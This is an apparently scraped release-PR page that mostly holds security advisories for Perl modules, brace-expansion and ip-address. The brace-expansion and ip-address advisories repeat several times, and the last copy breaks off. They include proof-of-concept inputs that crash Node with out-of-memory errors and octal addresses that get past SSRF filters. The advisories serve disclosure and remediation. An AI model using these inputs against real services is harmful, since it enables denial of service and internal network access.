You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Automated release PR bumping the version and generating dependency updates. Review the changes and merge this PR into the major/minor target branch when you are ready to publish the Docker images.
Perl versions through 5.43.9 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk. When such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error. A pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.
Socket versions before 2.041 for Perl have an out-of-bounds heap read. In Socket.xs, pack_ip_mreq_source() checks the length of its source argument before the argument is read, so the check tests the byte length carried over from the preceding multiaddr argument instead. Both addresses occupy a 4-byte field, so a valid multiaddr lets a source of any length pass the check, and the source is then copied into the 4-byte imr_sourceaddr field with a fixed-size copy. A source shorter than 4 bytes is not rejected, and the copy reads up to 3 bytes past the end of its buffer. Calling pack_ip_mreq_source() with a source value shorter than 4 bytes copies adjacent heap memory into the returned packed structure.
libsocket-perl 2.041-1
[trixie] - libsocket-perl (Minor issue)
[bookworm] - libsocket-perl (Minor issue; up-to-3-byte heap over-read, only reachable when a script passes attacker-controlled source to pack_ip_mreq_source())
[bullseye] - libsocket-perl (Minor issue; up-to-3-byte heap over-read, only reachable when a script passes attacker-controlled source to pack_ip_mreq_source())
[experimental] - perl 5.44.0-1
IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward. fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration. Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.
IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob. _parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl. Arbitrary Perl in the output glob executes at the calling process's privilege.
The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.
A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.
Details
maxLength was enforced in combine(), the single place output grows. Two arrays are built beforecombine() runs, and neither was bounded.
1. Comma alternatives accumulate without a running total (memory exhaustion)
Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:
With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.
2. Padded sequences ignore maxLength while generating (CPU exhaustion)
expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.
Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.
pad width
input bytes
results kept
time (5.0.8)
time (patched)
20,000
20 KB
199
~7.3 s
~20 ms
100,000
100 KB
39
~32 s
~20 ms
400,000
400 KB
9
~124 s
~18 ms
Output is byte-identical before and after the fix; only the wasted work is removed.
Proof of concept
Memory exhaustion, against 5.0.8:
import{expand}from'brace-expansion'constpart='{'+'0'.repeat(50)+'1..100000}'constinput='{'+Array(400).fill(part).join(',')+'}'// ~25 KBtry{expand(input)}catch(e){// never reached - the process is already dead}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted
Event-loop stall, against 5.0.8:
import{expand}from'brace-expansion'// ~400 KB input, returns 9 results after roughly two minutes of blocking CPUexpand('{'+'0'.repeat(400_000)+'1..100000}')
Impact
Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.
Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.
Patches
Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():
values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.
As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small maxandmaxLength.
Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.
Credits
The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.
The sequence-generation issue was found while verifying that report.
Uncontrolled Resource Consumption
Affected range
>=4.0.0 <5.0.8
Fixed version
5.0.8
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.339%
EPSS Percentile
27th percentile
Description
Summary
expand() bounds the number of results it produces (the max option, 100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around expand() does not help: the fatal error terminates the process.
A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.
Details
For N chained brace groups such as '{a,b}'.repeat(N):
the result count is 2^N, immediately capped at max (100_000), so the max protection appears to hold, but
each result is N characters long, so the total output size is max × N characters, which grows without bound in N.
expand_ combines each brace set with the fully-expanded tail:
constpost=m.post.length ? expand_(m.post,max,false) : ['']...for(letj=0;j<N.length;j++){for(letk=0;k<post.length&&expansions.length<max;k++){constexpansion=pre+N[j]+post[k]// grows one group longer per level...expansions.push(expansion)}}
The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.
Measured on 5.0.7 ('{a,b}'.repeat(N), default max):
groups (N)
input bytes
result count
peak RSS
20
100
100,000
~80 MB
50
250
100,000
~214 MB
100
500
100,000
~409 MB
300
1,500
100,000
~1,148 MB
1500
7,500
—
OOM crash
Proof of concept
const{ expand }=require('brace-expansion')// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:// FATAL ERROR: ... JavaScript heap out of memorytry{expand('{a,b}'.repeat(1500))}catch(e){// never reached — the process is already dead}
Impact
Any application that passes attacker-influenced strings to brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.
Remediation
Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default 4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.
After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.
The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.
If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or pass a small explicit maxand maxLength.
Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.
An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.
Details
Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)
The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.
The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.
Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.
Affected versions
<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.
Impact
The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.
Input
correctForm()
Classified as
Resolver reaches
Effect
012.0.0.1
12.0.0.1
public
10.0.0.1
internal target allowed
012.012.012.012
12.12.12.12
public
10.10.10.10
internal target allowed
010.0.0.1
10.0.0.1
private
8.0.0.1
public target blocked
Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.
Reachability
A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:
newURL('http://012.0.0.1/').hostname// '10.0.0.1'
This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.
Proof of concept
npm i ip-address@<!-- -->10.3.0, then:
const{ Address4 }=require('ip-address');// A guard of the shape the library documents.functionisBlocked(host){returnAddress4.isValid(host)&&newAddress4(host).isPrivate();}for(consthof['10.0.0.1','012.0.0.1','012.012.012.012']){console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW',h,'-> resolver reaches',newURL('http://'+h+'/').hostname);}
The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.
Remediation
Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.
This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.
If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:
These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.
One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:
A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.
The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.
A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.
Details
maxLength was enforced in combine(), the single place output grows. Two arrays are built beforecombine() runs, and neither was bounded.
1. Comma alternatives accumulate without a running total (memory exhaustion)
Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:
With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.
2. Padded sequences ignore maxLength while generating (CPU exhaustion)
expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.
Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.
pad width
input bytes
results kept
time (5.0.8)
time (patched)
20,000
20 KB
199
~7.3 s
~20 ms
100,000
100 KB
39
~32 s
~20 ms
400,000
400 KB
9
~124 s
~18 ms
Output is byte-identical before and after the fix; only the wasted work is removed.
Proof of concept
Memory exhaustion, against 5.0.8:
import{expand}from'brace-expansion'constpart='{'+'0'.repeat(50)+'1..100000}'constinput='{'+Array(400).fill(part).join(',')+'}'// ~25 KBtry{expand(input)}catch(e){// never reached - the process is already dead}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted
Event-loop stall, against 5.0.8:
import{expand}from'brace-expansion'// ~400 KB input, returns 9 results after roughly two minutes of blocking CPUexpand('{'+'0'.repeat(400_000)+'1..100000}')
Impact
Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.
Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.
Patches
Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():
values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.
As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small maxandmaxLength.
Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.
Credits
The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.
The sequence-generation issue was found while verifying that report.
Uncontrolled Resource Consumption
Affected range
>=4.0.0 <5.0.8
Fixed version
5.0.8
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.339%
EPSS Percentile
27th percentile
Description
Summary
expand() bounds the number of results it produces (the max option, 100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around expand() does not help: the fatal error terminates the process.
A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.
Details
For N chained brace groups such as '{a,b}'.repeat(N):
the result count is 2^N, immediately capped at max (100_000), so the max protection appears to hold, but
each result is N characters long, so the total output size is max × N characters, which grows without bound in N.
expand_ combines each brace set with the fully-expanded tail:
constpost=m.post.length ? expand_(m.post,max,false) : ['']...for(letj=0;j<N.length;j++){for(letk=0;k<post.length&&expansions.length<max;k++){constexpansion=pre+N[j]+post[k]// grows one group longer per level...expansions.push(expansion)}}
The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.
Measured on 5.0.7 ('{a,b}'.repeat(N), default max):
groups (N)
input bytes
result count
peak RSS
20
100
100,000
~80 MB
50
250
100,000
~214 MB
100
500
100,000
~409 MB
300
1,500
100,000
~1,148 MB
1500
7,500
—
OOM crash
Proof of concept
const{ expand }=require('brace-expansion')// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:// FATAL ERROR: ... JavaScript heap out of memorytry{expand('{a,b}'.repeat(1500))}catch(e){// never reached — the process is already dead}
Impact
Any application that passes attacker-influenced strings to brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.
Remediation
Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default 4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.
After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.
The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.
If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or pass a small explicit maxand maxLength.
Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.
An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.
Details
Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)
The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.
The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.
Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.
Affected versions
<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.
Impact
The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.
Input
correctForm()
Classified as
Resolver reaches
Effect
012.0.0.1
12.0.0.1
public
10.0.0.1
internal target allowed
012.012.012.012
12.12.12.12
public
10.10.10.10
internal target allowed
010.0.0.1
10.0.0.1
private
8.0.0.1
public target blocked
Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.
Reachability
A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:
newURL('http://012.0.0.1/').hostname// '10.0.0.1'
This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.
Proof of concept
npm i ip-address@<!-- -->10.3.0, then:
const{ Address4 }=require('ip-address');// A guard of the shape the library documents.functionisBlocked(host){returnAddress4.isValid(host)&&newAddress4(host).isPrivate();}for(consthof['10.0.0.1','012.0.0.1','012.012.012.012']){console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW',h,'-> resolver reaches',newURL('http://'+h+'/').hostname);}
The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.
Remediation
Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.
This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.
If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:
These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.
One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:
A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.
The maxLength mitigation added in 5.0.8 for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are combined, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an uncatchable out-of-memory error, so try/catch around expand() does not help.
A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound.
Details
maxLength was enforced in combine(), the single place output grows. Two arrays are built beforecombine() runs, and neither was bounded.
1. Comma alternatives accumulate without a running total (memory exhaustion)
Each alternative in {a,b,c,...} is expanded by its own recursive expand_() call, so each receives a full, independent maxLength allowance. The results were then concatenated into a single values array with no cumulative limit:
With A alternatives, values can reach A * maxLength characters before combine() gets a chance to truncate it. At the default maxLength of 4,000,000 and 400 alternatives, that is well past any default heap.
2. Padded sequences ignore maxLength while generating (CPU exhaustion)
expandSequence() was bounded by max (the result count) but never consulted maxLength. A padded sequence's element width follows the input, so {0...01..100000} with a wide pad generates max elements, each as wide as the input, only for combine() to discard all but a handful.
Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to max * width.
pad width
input bytes
results kept
time (5.0.8)
time (patched)
20,000
20 KB
199
~7.3 s
~20 ms
100,000
100 KB
39
~32 s
~20 ms
400,000
400 KB
9
~124 s
~18 ms
Output is byte-identical before and after the fix; only the wasted work is removed.
Proof of concept
Memory exhaustion, against 5.0.8:
import{expand}from'brace-expansion'constpart='{'+'0'.repeat(50)+'1..100000}'constinput='{'+Array(400).fill(part).join(',')+'}'// ~25 KBtry{expand(input)}catch(e){// never reached - the process is already dead}
FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
Aborted
Event-loop stall, against 5.0.8:
import{expand}from'brace-expansion'// ~400 KB input, returns 9 results after roughly two minutes of blocking CPUexpand('{'+'0'.repeat(400_000)+'1..100000}')
Impact
Denial of service. Any application that passes attacker-controlled input to expand(), directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with try/catch.
Applications already on 5.0.8 are affected: the 5.0.8 mitigation does not cover these paths.
Patches
Both intermediate arrays are now bounded as they are built, using the same max and maxLength limits already applied in combine():
values tracks a running result count and character length while alternatives are appended, and stops once either bound is reached.
expandSequence() accepts maxLength and stops generating once the sequence's own characters reach it.
As with the existing limits, output is truncated rather than allowed to grow without bound, which matches how max already behaves. The defaults sit well above any realistic expansion, so legitimate input is unaffected.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted input to expand() or to glob brace patterns, or pass an explicitly small maxandmaxLength.
Note that a small maxLength alone was not sufficient on affected versions: it was applied per alternative rather than cumulatively, which is the root of the first issue above.
Credits
The memory-exhaustion bypass was reported by Alessio Della Libera, CEO & Co-founder at Numyra.
The sequence-generation issue was found while verifying that report.
Uncontrolled Resource Consumption
Affected range
>=4.0.0 <5.0.8
Fixed version
5.0.8
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.339%
EPSS Percentile
27th percentile
Description
Summary
expand() bounds the number of results it produces (the max option, 100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around expand() does not help: the fatal error terminates the process.
A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.
Details
For N chained brace groups such as '{a,b}'.repeat(N):
the result count is 2^N, immediately capped at max (100_000), so the max protection appears to hold, but
each result is N characters long, so the total output size is max × N characters, which grows without bound in N.
expand_ combines each brace set with the fully-expanded tail:
constpost=m.post.length ? expand_(m.post,max,false) : ['']...for(letj=0;j<N.length;j++){for(letk=0;k<post.length&&expansions.length<max;k++){constexpansion=pre+N[j]+post[k]// grows one group longer per level...expansions.push(expansion)}}
The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.
Measured on 5.0.7 ('{a,b}'.repeat(N), default max):
groups (N)
input bytes
result count
peak RSS
20
100
100,000
~80 MB
50
250
100,000
~214 MB
100
500
100,000
~409 MB
300
1,500
100,000
~1,148 MB
1500
7,500
—
OOM crash
Proof of concept
const{ expand }=require('brace-expansion')// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:// FATAL ERROR: ... JavaScript heap out of memorytry{expand('{a,b}'.repeat(1500))}catch(e){// never reached — the process is already dead}
Impact
Any application that passes attacker-influenced strings to brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.
Remediation
Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default 4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.
After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.
The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.
If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or pass a small explicit maxand maxLength.
Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.
An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.
Details
Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)
The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.
The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.
Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.
Affected versions
<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.
Impact
The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.
Input
correctForm()
Classified as
Resolver reaches
Effect
012.0.0.1
12.0.0.1
public
10.0.0.1
internal target allowed
012.012.012.012
12.12.12.12
public
10.10.10.10
internal target allowed
010.0.0.1
10.0.0.1
private
8.0.0.1
public target blocked
Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.
Reachability
A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:
newURL('http://012.0.0.1/').hostname// '10.0.0.1'
